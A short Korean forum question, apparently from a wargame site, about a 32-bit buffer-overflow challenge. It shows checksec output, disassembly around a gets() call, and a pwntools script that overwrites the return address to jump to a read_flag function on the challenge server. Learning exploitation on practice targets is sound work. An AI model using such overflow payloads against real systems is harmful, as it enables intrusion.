질문
pwndbg> checksec
[*] '/home/kali/basic2'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
보안 해제도 똑같이 해주고
pwndbg> print read_flag
$1 = {<text variable, no debug info>} 0x80485fb <read_flag>
read_flag주소도 찾아서 넣었는데
from pwn import *
r = remote('host1.dreamhack.games', 18560)
read_addr = 0x80485fb
buf = b'A'*128
fsp = b'A'*4
payload = buf
payload += fsp
payload += p32(read_addr)
r.send(payload)
r.interactive()
안되는데 이유가뭔가요
그리고 char buf[0x80]이라고 나와있는데
gdb로보면 call부르기전에 보면 ebp-0x80 이 아니라 ebp-0x88만큼 해주는데 뭔가요
0x08048643 <+29>: call 0x8048594 <initialize>
0x08048648 <+34>: sub esp,0xc
0x0804864b <+37>: lea eax,[ebp-0x88]
0x08048651 <+43>: push eax
0x08048652 <+44>: call 0x80483c0 <gets@plt>
(수정) ebp-0x88은 문제파일 안쓰고 환경 직접 만드느라 실수했나봐요 문제파일쓰니깐 ebp-0x80나오네요 죄송;
#pwnable
작성자 정보